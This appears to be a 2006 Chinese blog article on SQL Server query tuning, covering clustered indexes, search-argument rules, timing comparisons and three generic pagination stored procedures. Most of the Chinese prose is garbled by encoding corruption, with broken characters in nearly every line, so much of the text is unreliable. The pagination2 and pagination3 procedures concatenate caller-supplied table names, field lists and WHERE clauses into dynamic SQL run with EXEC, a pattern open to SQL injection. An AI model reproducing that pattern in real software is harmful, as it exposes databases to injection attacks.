　　�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu=''办公�?'　　查询速度�Q?/p>

60280毫秒

　　从以上试验中�Q�我们可以看到如果仅用聚集烦引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询�?/p>

度是几乎一��L��Q�甚��x��用上全部的复合烦引列�q�要略快�Q�在查询�l�果集数目一��L��情况下）�Q�而如果仅用复合聚集烦

引的非�v始列作�ؓ查询条�g的话�Q�这个烦引是不�v��M��作用的。当�Ӟ��语句1�?的查询速度一��h��因�ؓ查询的条目数一

��P��如果复合索引的所有列都用上，而且查询�l�果��的话，�q�样��׃��形成“烦引覆盖”，因而性能可以辑ֈ�最优。同�?/p>

�Q�请��C��Q�无论您是否�l�常使用聚合索引的其他列�Q�但其前导列一定要是��用最频繁的列�?/p>

　四、其他书上没有的索引使用�l�验�ȝ��

　　1、用聚合索引比用不是聚合索引的主键速度�?/p>

　　下面是实例语句：�Q�都是提�?5万条数据�Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''　　使用旉��Q?326毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid<=250000　　使用旉��Q?470毫秒

　　�q�里�Q�用聚合索引比用不是聚合索引的主键速度快了�q?/4�?/p>

　　2、用聚合索引比用一般的主键作order by旉��度快，特别是在��数据量情况�?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi　　用时�Q?2936

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid　　用时�Q?8843

　　�q�里�Q�用聚合索引比用一般的主键作order by�Ӟ��速度快了3/10。事实上�Q�如果数据量很小的话�Q�用聚集索引作�ؓ

排序列要比��用非聚集索引速度快得明显的多�Q�而数据量如果很大的话�Q�如10万以上，则二者的速度差别不明显�?/p>

　　3、��用聚合烦引内的时间段�Q�搜索时间会按数据占整个数据表的癑ֈ�比成比例减少�Q�而无��合烦引��用了多少�?/p>

�Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>''2004-1-1''　　用时�Q?343毫秒�Q�提

�?00万条�Q?

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>''2004-6-6''　　用时�Q?170毫秒�Q�提

�?0万条�Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''　　用时�Q?326毫秒�Q�和

上句的结果一模一栗��如果采集的数量一��P��那么用大于号和等于号是一��L��Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen
　　　　　　　　　　　　where fariqi>''2004-1-1'' and fariqi<''2004-6-6''　　用时�Q?280毫秒

　　4、日期列不会因�ؓ有分�U�的输入而减慢查询速度

　　下面的例子中�Q�共�?00万条数据�Q?004�q?�?日以后的数据�?0万条�Q�但只有两个不同的日期，日期�_��到日�Q�之

前有数据50万条�Q�有5000个不同的日期�Q�日期精��到�U��?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen
　　　　　　　　　　where fariqi>''2004-1-1'' order by fariqi　　用时�Q?390毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen
　　　　　　　　　　　　where fariqi<''2004-1-1'' order by fariqi　　用时�Q?453毫秒

　　五、其他注意事��?/p>

　　“水可蝲舟，亦可覆舟”，索引也一栗��烦引有助于提高��索性能�Q�但�q�多或不当的索引也会��D��pȝ��低效。因�?/p>

用户在表中每加进一个烦引，数据库就要做更多的工作。过多的索引甚至会导致烦引碎片�?/p>

　　所以说�Q�我们要建立一个“适当”的索引体系�Q�特别是对聚合烦引的创徏�Q�更应精益求�_�，以��您的数据库能得到

高性能的发挥�?/p>

　　当然�Q�在实践中，作�ؓ一个尽职的数据库管理员�Q�您�q�要多测试一些方案，扑և�哪种�Ҏ��效率最高、最为有效�?/p>

　　改善SQL语句

　　很多��Z��知道SQL语句在SQL SERVER中是如何执行的，他们担心自己所写的SQL语句会被SQL SERVER误解。比如：

select * from table1 where name=''zhangsan'' and tID > 10000　　和执�?

select * from table1 where tID > 10000 and name=''zhangsan''　　一些�h不知道以上两条语句的执行效率是否一

��P��因�ؓ如果��单的从语句先后上看，�q�两个语句的��是不一��P��如果tID是一个聚合烦引，那么后一句仅仅从表的

10000条以后的记录中查扑ְ�行了�Q�而前一句则要先从全表中查找看有几个name=''zhangsan''的，而后再根据限制条�?/p>

条�gtID>10000来提出查询结果�?/p>

　　事实上，�q�样的担心是不必要的。SQL SERVER中有一个“查询分析优化器”，它可以计��出where子句中的搜烦条�g

�q�确定哪个烦引能�~�小表扫描的搜烦�I�间�Q�也��是��_��它能实现自动优化�?/p>

　　虽然查询优化器可以根据where子句自动的进行查询优化，但大家仍然有必要了解一下“查询优化器”的工作原理�Q?/p>

如非�q�样�Q�有时查询优化器��׃��不按照您的本意进行快速查询�?/p>

　　在查询分析阶�D�，查询优化器查看查询的每个阶段�q�决定限刉��要扫描的数据量是否有用。如果一个阶�D�可以被�?/p>

作一个扫描参敎ͼ�SARG�Q�，那么��q��之�ؓ可优化的�Q��ƈ且可以利用烦引快速获得所需数据�?/p>

　　SARG的定义：用于限制搜烦的一个操作，因�ؓ它通常是指一个特定的匚w��Q�一个值得范围内的匚w��或者两个以上条

件的AND�q�接。�Ş式如下：

列名操作�W?<常数 �?变量>

�?

<常数 �?变量> 操作�W�列名　　列名可以出现在操作符的一边，而常数或变量出现在操作符的另一辏V��如�Q?/p>

Name=’张三�?

��h��>5000

5000<��h��

Name=’张三�?and ��h��>5000　　如果一个表辑ּ�不能满��SARG的�Ş式，那它��无法限制搜索的范围了，也就是SQL

SERVER必须�Ҏ��一行都判断它是否满��WHERE子句中的所有条件。所以一个烦引对于不满��SARG形式的表辑ּ�来说是无�?/p>

的�?/p>

　　介绍完SARG后，我们来�ȝ��一下��用SARG以及在实践中遇到的和某些资料上结��Z��同的�l�验�Q?/p>

　　1、Like语句是否属于SARG取决于所使用的通配�W�的�c�d��

如：name like ‘张%�?�Q�这��属于SARG

而：name like �?张�?,��׃��属于SARG。　　原因是通配�W?在字�W�串的开通��得烦引无法��用�?/p>

　　2、or 会引起全表扫�?/p>

　　Name=’张三�?and ��h��>5000 �W�号SARG�Q�而：Name=’张三�?or ��h��>5000 则不�W�合SARG。��用or会引起全表扫

描�?/p>

　　3、非操作�W�、函数引��L��不满��SARG形式的语�?/p>

　　不满��SARG形式的语句最典型的情况就是包括非操作�W�的语句�Q�如�Q�NOT�?=�?lt;>�?<�?>、NOT EXISTS、NOT IN�?/p>

NOT LIKE�{�，另外�q�有函数。下面就是几个不满��SARG形式的例子：

ABS(��h��)<5000

Name like �?三�?

有些表达式，如：

WHERE ��h��*2>5000

SQL SERVER也会认�ؓ是SARG�Q�SQL SERVER会将此式转化为：
WHERE ��h��>2500/2　　但我们不推荐�q�样使用�Q�因为有时SQL SERVER不能保证�q�种转化与原始表辑ּ�是完全等��L��?/p>

　　4、IN 的作用相当与OR

　　语句�Q?/p>

Select * from table1 where tid in (2,3)

�?

Select * from table1 where tid=2 or tid=3　　是一��L��Q�都会引起全表扫描，如果tid上有索引�Q�其索引也会失效

�?/p>

　　5、尽量少用NOT

　　6、exists �?in 的执行效率是一��L��

　　很多资料上都昄��_��exists要比in的执行效率要高，同时应尽可能的用not exists来代替not in。但事实上，�?/p>

试验了一下，发现二者无论是前面带不带not�Q�二者之间的执行效率都是一��L��。因为涉及子查询�Q�我们试验这�ơ用SQL

SERVER自带的pubs数据库。运行前我们可以把SQL SERVER的statistics I/O状态打开�Q?/p>

�Q?�Q�select title,price from titles where title_id in (select title_id from sales where qty>30)　　该句�?/p>

执行�l�果为：

�?''sales''。扫描计�?18�Q�逻辑�?56 �ơ，物理�?0 �ơ，预读 0 �ơ�?br />�?''titles''。扫描计�?1�Q�逻辑�?2 �ơ，物理�?0 �ơ，预读 0 �ơ�?/p>

�Q?�Q�select title,price from titles
　　　　　　　where exists (select * from sales
　　　　　　　　where sales.title_id=titles.title_id and qty>30)　　�W�二句的执行�l�果为：

　　我们从此可以看到用exists和用in的执行效率是一��L��?/p>

　　7、用函数charindex()和前面加通配�W?的LIKE执行效率一�?/p>

　　前面�Q�我们谈刎ͼ�如果在LIKE前面加上通配�W?�Q�那么将会引起全表扫描，所以其执行效率是低下的。但有的资料�?/p>

�l�说�Q�用函数charindex()来代替LIKE速度会有大的提升�Q�经我试验，发现�q�种说明也是错误的：
　

select gid,title,fariqi,reader from tgongwen
　　　　　　　　　where charindex(''刑侦支队'',reader)>0 and fariqi>''2004-5-5''　　用时�Q?�U�，另外�Q�扫�?/p>

计数 4�Q�逻辑�?7155 �ơ，物理�?0 �ơ，预读 0 �ơ�?/p>

select gid,title,fariqi,reader from tgongwen
　　　　　　　　　where reader like ''%'' + ''刑侦支队'' + ''%'' and fariqi>''2004-5-5''　　用时�Q?�U�，�?/p>

外：扫描计数 4�Q�逻辑�?7155 �ơ，物理�?0 �ơ，预读 0 �ơ�?/p>

　　8、union�q�不�l�对比or的执行效率高

　　我们前面已经谈到了在where子句中��用or会引起全表扫描，一般的�Q�我所见过的资料都是推荐这里用union来代�?/p>

or。事实证明，�q�种说法对于大部分都是适用的�?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen
　　　　　　　　　　where fariqi=''2004-9-16'' or gid>9990000　　用时�Q?8�U�。扫描计�?1�Q�逻辑�?404008 ��?/p>

�Q�物理读 283 �ơ，预读 392163 �ơ�?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''
union
select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid>9990000　　用时�Q?�U�。扫描计�?8�Q�逻辑

�?67489 �ơ，物理�?216 �ơ，预读 7499 �ơ�?/p>

　　看来�Q�用union在通常情况下比用or的效率要高的多�?/p>

　　但经�q�试验，�W�者发现如果or两边的查询列是一��L��话，那么用union则反倒和用or的执行速度差很多，虽然�q�里

union扫描的是索引�Q�而or扫描的是全表�?br />　

select gid,fariqi,neibuyonghu,reader,title from Tgongwen
　　　　　　　　　　where fariqi=''2004-9-16'' or fariqi=''2004-2-5''　　用时�Q?423毫秒。扫描计�?2�Q�逻辑

�?14726 �ơ，物理�?1 �ơ，预读 7176 �ơ�?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''
union
select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-2-5''　　用时�Q?1640毫秒。扫

描计�?8�Q�逻辑�?14806 �ơ，物理�?108 �ơ，预读 1144 �ơ�?/p>

　　9、字�D�|��取要按照“需多少、提多少”的原则�Q�避免“select *�?/p>

　　我们来做一个试验：

select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc　　用时�Q?673毫秒

select top 10000 gid,fariqi,title from tgongwen order by gid desc　　用时�Q?376毫秒

select top 10000 gid,fariqi from tgongwen order by gid desc　　用时�Q?0毫秒

　　由此看来�Q�我们每��提取一个字�D�，数据的提取速度��׃��有相应的提升。提升的速度�q�要看您舍弃的字�D늚�大小�?/p>

判断�?/p>

　　10、count(*)不比count(字段)�?/p>

　　某些资料上说�Q�用*会统计所有列�Q�显然要比一个世界的列名效率低。这�U�说法其实是没有�Ҏ��的。我们来看：

select count(*) from Tgongwen　　用时�Q?500毫秒

select count(gid) from Tgongwen 　　用时�Q?483毫秒

select count(fariqi) from Tgongwen　　用时�Q?140毫秒

select count(title) from Tgongwen　　用时�Q?2050毫秒

　　从以上可以看出，如果用count(*)和用count(主键)的速度是相当的�Q�而count(*)却比其他��M��除主键以外的字段�?/p>

总速度要快�Q�而且字段��长�Q�汇�ȝ��速度��p��慢。我惻I��如果用count(*)�Q?SQL SERVER可能会自动查找最��字�D�|��汇�?/p>

的。当�Ӟ��如果您直接写count(主键)��会来的更直接些�?/p>

　　11、order by按聚集烦引列排序效率最�?/p>

　　我们来看�Q�（gid是主键，fariqi是聚合烦引列�Q�：

select top 10000 gid,fariqi,reader,title from tgongwen　　用时�Q?96 毫秒�?扫描计数 1�Q�逻辑�?289 �ơ，�?/p>

理读 1 �ơ，预读 1527 �ơ�?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by gid asc　　用时�Q?720毫秒�?扫描计数 1�Q?/p>

逻辑�?41956 �ơ，物理�?0 �ơ，预读 1287 �ơ�?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc　　用时�Q?736毫秒�?扫描计数 1�Q?/p>

逻辑�?55350 �ơ，物理�?10 �ơ，预读 775 �ơ�?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi asc　　用时�Q?73毫秒�?扫描计数 1

�Q�逻辑�?290 �ơ，物理�?0 �ơ，预读 0 �ơ�?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi desc　　用时�Q?56毫秒�?扫描计数 1

�Q�逻辑�?289 �ơ，物理�?0 �ơ，预读 0 �ơ�?/p>

　　从以上我们可以看出，不排序的速度以及逻辑��L��数都是和“order by 聚集索引列�?的速度是相当的�Q�但�q�些�?/p>

比“order by 非聚集烦引列”的查询速度是快得多的�?/p>

　　同时�Q�按照某个字�D�进行排序的时候，无论是正序还是倒序�Q�速度是基本相当的�?/p>

　　12、高效的TOP

　　事实上，在查询和提取��大定w��的数据集�Ӟ��影响数据库响应时间的最大因素不是数据查找，而是物理的I/0操作�?/p>

如：

select top 10 * from (
select top 10000 gid,fariqi,title from tgongwen
where neibuyonghu=''办公�?'
order by gid desc) as a
order by gid asc　　�q�条语句�Q�从理论上讲�Q�整条语句的执行旉��应该比子句的执行旉��长，但事实相反。因为，�?/p>

句执行后�q�回的是10000条记录，而整条语句仅�q�回10条语句，所以媄响数据库响应旉��最大的因素是物理I/O操作。�?/p>

限制物理I/O操作此处的最有效�Ҏ��之一��是使用TOP关键词了。TOP关键词是SQL SERVER中经�q�系�l�优化过的一个用来提

取前几条或前几个癑ֈ�比数据的词。经�W�者在实践中的应用�Q�发现TOP��实很好用，效率也很高。但�q�个词在另外一个大

型数据库ORACLE中却没有�Q�这不能说不是一个遗憾，虽然在ORACLE中可以用其他�Ҏ��Q�如�Q�rownumber�Q�来解决。在以后

的关于“实现千万��数据的分��|��C�存储过�E�”的讨论中，我们��将用到TOP�q�个关键词�?/p>

　　到此为止�Q�我们上面讨��Z��如何实现从大定w��的数据库中快速地查询出您所需要的数据�Ҏ��。当�Ӟ��我们介绍的这

些方法都是“��Y”方法，在实践中�Q�我们还要考虑各种“硬”因素，如：�|�络性能、服务器的性能、操作系�l�的性能�Q?/p>

甚至�|�卡、交换机�{��?br />实现��数据量和�v量数据的通用分页昄��存储�q�程

　　建立一�?Web 应用�Q�分��|��览功能必不可��。这个问题是数据库处理中十分常见的问题。经典的数据分页�Ҏ��?/p>

:ADO �U�录集分��|��Q�也��是利用ADO自带的分��功能（利用游标�Q�来实现分页。但�q�种分页�Ҏ��仅适用于较��数据量�?/p>

情�Ş�Q�因为游标本�w�有�~�点�Q�游标是存放在内存中�Q�很费内存。游标一建立�Q�就��相关的记录锁住�Q�直到取消游标。游

标提供了对特定集合中逐行扫描的手�D�，一般��用游标来逐行遍历数据�Q�根据取出数据条件的不同�q�行不同的操作。�?/p>

对于多表和大表中定义的游标（大的数据集合�Q��@环很�Ҏ��使程序进入一个�O长的�{�待甚至��L��?/p>

　　更重要的是，对于非常大的数据模型而言�Q�分��|��索时�Q�如果按照传�l�的每次都加载整个数据源的方法是非常��费

资源的。现在流行的分页�Ҏ��一般是��索页面大��的块区的数据，而非��索所有的数据�Q�然后单步执行当前行�?/p>

　　最早较好地实现�q�种�Ҏ��面大小和页码来提取数据的方法大概就是“俄�|�斯存储�q�程”。这个存储过�E�用了游�?/p>

�Q�由于游标的局限性，所以这个方法�ƈ没有得到大家的普遍认可�?/p>

　　后来�Q�网上有人改造了此存储过�E�，下面的存储过�E�就是结合我们的办公自动化实例写的分��存储过�E�：

CREATE procedure pagination1
(@pagesize int, --��面大小�Q�如每页存储20条记�?
@pageindex int --当前��늠�
)
as

set nocount on

begin
declare @indextable table(id int identity(1,1),nid int) --定义表变�?
declare @PageLowerBound int --定义此页的底�?
declare @PageUpperBound int --定义此页的顶�?
set @PageLowerBound=(@pageindex-1)*@pagesize
set @PageUpperBound=@PageLowerBound+@pagesize
set rowcount @PageUpperBound
insert into @indextable(nid) select gid from TGongwen
　　　　　　where fariqi >dateadd(day,-365,getdate()) order by fariqi desc
select O.gid,O.mid,O.title,O.fadanwei,O.fariqi from TGongwen O,@indextable t
where O.gid=t.nid and t.id>@PageLowerBound
and t.id<=@PageUpperBound order by t.id
end

set nocount off　　以上存储�q�程�q�用了SQL SERVER的最新技术――表变量。应该说�q�个存储�q�程也是一个非�怼��U��?/p>

分页存储�q�程。当�Ӟ��在这个过�E�中�Q�您也可以把其中的表变量写成临时表：CREATE TABLE #Temp。但很明显，在SQL

SERVER中，用��时表是没有用表变量快的。所以笔者刚开始��用这个存储过�E�时�Q�感觉非常的不错�Q�速度也比原来的ADO

的好。但后来�Q�我又发��C��比此�Ҏ��更好的方法�?br />　　�W�者曾在网上看��C��一��小短文《从数据表中取出�W�n条到�W�m条的记录的方法》，全文如下�Q?/p>

从publish 表中取出�W?n 条到�W?m 条的记录�Q��?
SELECT TOP m-n+1 *
FROM publish
WHERE (id NOT IN
　　　　(SELECT TOP n-1 id
　　　　 FROM publish))

id 为publish 表的关键�?　　我当时看到这��文章的时候，真的是精��ؓ之一振，觉得思�\非常得好。等到后来，�?/p>

在作办公自动化系�l�（ASP.NET+ C#�Q�SQL SERVER�Q�的时候，忽然惌��v了这��文章，我想如果把这个语句改造一下，�q�就

可能是一个非常好的分��存储过�E�。于是我��满�|�上找这��文章，没想刎ͼ�文章�q�没扑ֈ��Q�却扑ֈ�了一��根据此语句�?/p>

的一个分��存储过�E�，�q�个存储�q�程也是目前较�ؓ��行的一�U�分��存储过�E�，我很后悔没有争先把这�D�|��字改造成存储

�q�程�Q?/p>

CREATE PROCEDURE pagination2
(
@SQL nVARCHAR(4000), --不带排序语句的SQL语句
@Page int, --��늠�
@RecsPerPage int, --每页容纳的记录数
@ID VARCHAR(255), --需要排序的不重复的ID�?
@Sort VARCHAR(255) --排序字段及规�?
)
AS

DECLARE @Str nVARCHAR(4000)

SET @Str=''SELECT TOP ''+CAST(@RecsPerPage AS VARCHAR(20))+'' * FROM
(''+@SQL+'') T WHERE T.''+@ID+''NOT IN (SELECT TOP ''+CAST((@RecsPerPage*(@Page-1))
AS VARCHAR(20))+'' ''+@ID+'' FROM (''+@SQL+'') T9 ORDER BY ''+@Sort+'') ORDER BY ''+@Sort

PRINT @Str

EXEC sp_ExecuteSql @Str
GO　　其实�Q�以上语句可以简化�ؓ�Q?/p>

SELECT TOP ��大��?*
FROM Table1 WHERE (ID NOT IN (SELECT TOP ��大��?��|�� id FROM �?ORDER BY id))
ORDER BY ID　　但这个存储过�E�有一个致命的�~�点�Q�就是它含有NOT IN字样。虽然我可以把它攚w��ؓ�Q?/p>

SELECT TOP ��大��?*
FROM Table1 WHERE not exists
(select * from (select top (��大��?��|��) * from table1 order by id) b where b.id=a.id )
order by id　　卻I��用not exists来代替not in�Q�但我们前面已经谈过了，二者的执行效率实际上是没有区别的。既�?/p>

如此�Q�用TOP �l�合NOT IN的这个方法还是比用游标要来得快一些�?/p>

　　虽然用not exists�q�不能挽救上个存储过�E�的效率�Q�但使用SQL SERVER中的TOP关键字却是一个非常明智的选择。因

为分��优化的最�l�目的就是避免��生过大的记录集，而我们在前面也已�l�提��C��TOP的优势，通过TOP 卛_��实现�Ҏ��据量

的控制�?/p>

　　在分��늮�法中�Q�媄响我们查询速度的关键因素有两点�Q�TOP和NOT IN。TOP可以提高我们的查询速度�Q�而NOT IN会减

慢我们的查询速度�Q�所以要提高我们整个分页��法的速度�Q�就要彻底改造NOT IN�Q�同其他�Ҏ��来替代它�?/p>

　　我们知道�Q�几乎�Q何字�D�，我们都可以通过max(字段)或min(字段)来提取某个字�D�中的最大或最��|��所以如果这

个字�D�不重复�Q�那么就可以利用�q�些不重复的字段的max或min作�ؓ分水岭，使其成�ؓ分页��法中分开每页的参照物。在

�q�里�Q�我们可以用操作�W��?gt;”或�?lt;”号来完成这个��命，使查询语句符合SARG形式。如�Q?/p>

Select top 10 * from table1 where id>200　　于是��有了如下分��|��案：

select top ��大��?*
from table1
where id>
(select max (id) from
(select top ((��늠�-1)*��大��? id from table1 order by id) as T
)
order by id　　在选择即不重复��|��又容易分辨大��的列时�Q�我们通常会选择主键。下表列��Z��W�者用有着1000万数�?/p>

的办公自动化�pȝ��中的表，在以GID�Q�GID是主键，但�ƈ不是聚集索引。）为排序列、提取gid,fariqi,title字段�Q�分�?/p>

以第1�?0�?00�?00�?000�?万�?0万�?5万�?0万页��Z��Q�测试以上三�U�分��|��案的执行速度�Q�（单位�Q�毫�U�）

��늠� �Ҏ��1 �Ҏ��2 �Ҏ��3
1 60 30 76
10 46 16 63
100 1076 720 130
500 540 12943 83
1000 17110 470 250
10000 24796 4500 140
100000 38326 42283 1553
250000 28140 128720 2330
500000 121686 127846 7168

　　从上表中�Q�我们可以看出，三种存储�q�程在执�?00��以下的分页命��o�Ӟ��都是可以信�Q的，速度都很好。但�W�一�U?/p>

�Ҏ��在执行分��?000��以上后�Q�速度��降了下来。第二种�Ҏ��大约是在执行分页1万页以上后速度开始降了下来。而第�?/p>

�U�方案却始终没有大的降势�Q�后劲仍然很��?br />　　在确定了�W�三�U�分��|��案后�Q�我们可以据此写一个存储过�E�。大家知道SQL SERVER的存储过�E�是事先�~�译好的SQL�?/p>

句，它的执行效率要比通过WEB��面传来的SQL语句的执行效率要高。下面的存储�q�程不仅含有分页�Ҏ��Q�还会根据页�?/p>

传来的参数来��定是否�q�行数据��L��l�计�?/p>

--获取指定��늚�数据�Q?/p>

CREATE PROCEDURE pagination3
@tblName varchar(255), -- 表名
@strGetFields varchar(1000) = ''*'', -- 需要返回的列�?
@fldName varchar(255)='''', -- 排序的字�D�名
@PageSize int = 10, -- ��尺�?
@PageIndex int = 1, -- ��늠�
@doCount bit = 0, -- �q�回记录��L��, �?0 值则�q�回
@OrderType bit = 0, -- 讄��排序�c�d��, �?0 值则降序
@strWhere varchar(1500) = '''' -- 查询条�g (注意: 不要�?where)
AS

declare @strSQL varchar(5000) -- 主语�?
declare @strTmp varchar(110) -- 临时变量
declare @strOrder varchar(400) -- 排序�c�d��

if @doCount != 0
begin
if @strWhere !=''''
set @strSQL = "select count(*) as Total from [" + @tblName + "] where "+@strWhere
else
set @strSQL = "select count(*) as Total from [" + @tblName + "]"
end --以上代码的意思是如果@doCount传递过来的不是0�Q�就执行��L��l�计。以下的所有代码都是@doCount�?的情况：

else
begin
if @OrderType != 0
begin
set @strTmp = "<(select min"
set @strOrder = " order by [" + @fldName +"] desc"--如果@OrderType不是0�Q�就执行降序�Q�这句很重要�Q?/p>

end
else
begin
set @strTmp = ">(select max"
set @strOrder = " order by [" + @fldName +"] asc"
end

if @PageIndex = 1
begin
if @strWhere != ''''

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ "
　　　　　　　　from [" + @tblName + "] where " + @strWhere + " " + @strOrder
else

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ "
　　　　　　　　from ["+ @tblName + "] "+ @strOrder--如果是第一��就执行以上代码�Q�这样会加快执行速度

end
else
begin--以下代码赋予了@strSQL以真正执行的SQL代码
　

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ " from ["
+ @tblName + "] where [" + @fldName + "]" + @strTmp + "(["+ @fldName + "])
　　　　　　from (select top " + str((@PageIndex-1)*@PageSize) + " ["+ @fldName + "]
　　　　　　from [" + @tblName + "]" + @strOrder + ") as tblTmp)"+ @strOrder

if @strWhere != ''''
set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ " from ["
+ @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
+ @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
+ @fldName + "] from [" + @tblName + "] where " + @strWhere + " "
+ @strOrder + ") as tblTmp) and " + @strWhere + " " + @strOrder
end

end

exec (@strSQL)

GO
　　上面的这个存储过�E�是一个通用的存储过�E�，其注释已写在其中了�?在大数据量的情况下，特别是在查询最后几��?/p>

的时候，查询旉��一般不会超�q?�U�；而用其他存储�q�程�Q�在实践中就会导致超�Ӟ��所以这个存储过�E�非帔R��用于大定w��

数据库的查询�?�W�者希望能够通过对以上存储过�E�的解析�Q�能�l�大家带来一定的启示�Q��ƈ�l�工作带来一定的效率提升�Q?/p>

同时希望同行提出更优�U�的实时数据分��늮�法�?/p>

聚集索引的重要性和如何选择聚集索引

　　��x��我们讨论了实现小数据量和��量数据的通用分页昄��存储�q�程。这是因为在��本存储�q�程应用于“办公自动化

”系�l�的实践中时�Q�笔者发现这�W�三�U�存储过�E�在��数据量的情况下�Q�有如下现象�Q?/p>

　　1、分��速度一般维持在1�U�和3�U�之间�?/p>

　　2、在查询最后一��|��Q�速度一般�ؓ5�U�至8�U�，哪怕分��|��L��只有3��|��30万页�?/p>

　　虽然在超大容量情况下�Q�这个分��늚�实现�q�程是很快的�Q�但在分前几��|��Q�这�?�Q?�U�的速度比�v�W�一�U�甚��x��?/p>

�l�过优化的分��|��法速度�q�要慢，借用��L��话说��是“还没有ACCESS数据库速度快”，�q�个认识��以��D��用户攑ּ�使用

您开发的�pȝ��?/p>

　　�W�者就此分析了一下，原来产生�q�种现象的症�l�是如此的简单，但又如此的重要：排序的字�D�不是聚集烦引！

　　本篇文章的题目是�Q�“查询优化及分页��法�Ҏ��”。笔者只所以把“查询优化”和“分��늮�法”这两个联系不是�?/p>

大的论题攑֜�一��P��是因�ؓ二者都需要一个非帔R��要的东西――聚集烦引�?/p>

　　在前面的讨论中我们已�l�提��C��Q�聚集烦引有两个最大的优势�Q?/p>

　　1、以最快的速度�~�小查询范围�?/p>

　　2、以最快的速度�q�行字段排序�?/p>

　　�W?条多用在查询优化�Ӟ��而第2条多用在�q�行分页时的数据排序�?/p>

　　而聚集烦引在每个表内又只能徏立一个，�q��得聚集烦引显得更加的重要。聚集烦引的挑选可以说是实现“查询优

化”和“高效分��”的最关键因素�?br />　　但要既��聚集索引列既�W�合查询列的需要，又符合排序列的需要，�q�通常是一个矛盾。笔者前面“烦引”的讨论�?/p>

�Q�将fariqi�Q�即用户发文日期作�ؓ了聚集烦引的起始列，日期的精��度为“日”。这�U�作法的优点�Q�前面已�l�提��C��Q?/p>

在进行划旉��D늚�快速查询中�Q�比用ID主键列有很大的优�ѝ�?br />　　但在分页�Ӟ��׃��q�个聚集索引列存在着重复记录�Q�所以无法��用max或min来最为分��늚�参照物，�q�而无法实现更

为高效的排序。而如果将ID主键列作��集烦引，那么聚集索引除了用以排序之外�Q�没有�Q何用处，实际上是��费了聚

集烦引这个宝�늚�资源�?br />　　��册��个矛盾，�W�者后来又��d��了一个日期列�Q�其默认��gؓgetdate()。用户在写入记录�Ӟ��q�个列自动写入当�?/p>

的时��_��旉��_��到毫�U�。即使这��P��Z��避免可能性很��的重合�Q�还要在此列上创建UNIQUE�U�束。将此日期列作�ؓ�?/p>

集烦引列�?br />　　有了�q�个旉��型聚集烦引列之后�Q�用户就既可以用�q�个列查扄��户在插入数据时的某个旉��D늚�查询�Q�又可以作�ؓ

唯一列来实现max或min�Q�成为分��늮�法的参照物�?br />　　�l�过�q�样的优化，�W�者发玎ͼ�无论是大数据量的情况下还是小数据量的情况下，分页速度一般都是几十毫�U�，甚至0

毫秒。而用日期�D늾��范围的查询速度比原来也没有��M��q�钝。聚集烦引是如此的重要和珍贵�Q�所以笔者�ȝ��了一下，

一定要��聚集烦引徏立在�Q?/p>

1、您最频繁使用的、用以羃��查询范围的字段上；

2、您最频繁使用的、需要排序的字段上�?/p>

　　�l�束�?/p>

　　本篇文章汇集了笔者近�D�在使用数据库方面的心得�Q�是在做“办公自动化”系�l�时实践�l�验的积累。希望这��文�?/p>

不仅能够�l�大家的工作带来一定的帮助�Q�也希望能让大家能够体会到分析问题的�Ҏ��Q�最重要的是�Q�希望这��文章能�?/p>

抛砖引玉�Q�掀起大家的学习和讨论的兴趣�Q�以共同促进�Q�共同�ؓ公安�U�技��事业和金监ַ��E�做��己最大的努力�?/p>

　　最后需要说明的是，在试验中�Q�我发现用户在进行大数据量查询的时候，�Ҏ��据库速度影响最大的不是内存大小�Q?/p>

而是CPU。在我的P4 2.4机器上试验的时候，查看“资源管理器”，CPU�l�常出现持箋�?00%的现象，而内存用量却�q�没

有改变或者说没有大的改变。即使在我们的HP ML 350 G3服务器上试验�Ӟ��CPU峰��g��能达�?0%�Q�一般持�l�在70%左右�?/p>

　　本文的试验数据都是来自我们的HP ML 350服务器。服务器配置�Q�双Inter Xeon ��线�E?CPU 2.4G�Q�内�?G�Q�操作系

�l�Windows Server 2003 Enterprise Edition�Q�数据库SQL Server 2000 SP3

liaojiyong 2006-09-28 10:43 发表评论

索引與性能--如何让你的SQL�q�行得更�?�?

liaojiyong — Wed, 27 Sep 2006 10:00:00 GMT

如何让你的SQL�q�行得更�?[推荐�Q�！�Q�]
��Z��在��用SQL时往往会陷入一个误区，卛_��x��于所得的�l�果是否正确�Q�而忽�?br />
了不同的实现�Ҏ��之间可能存在的性能差异�Q�这�U�性能差异在大型的或是复杂的数据库

环境中（如联��Z��务处理OLTP或决�{�支持系�l�DSS�Q�中表现得尤为明显。笔者在工作实践

中发玎ͼ�不良的SQL往往来自于不恰当的烦引设计、不充䆾的连接条件和不可优化的whe

re子句。在对它们进行适当的优化后�Q�其�q�行速度有了明显地提高！下面我将从这三个

斚w��分别�q�行�ȝ��Q?br />
---- ��Z��更直观地说明问题�Q�所有实例中的SQL�q�行旉��均经�q�测试，不超�q�１�U�的�?br />
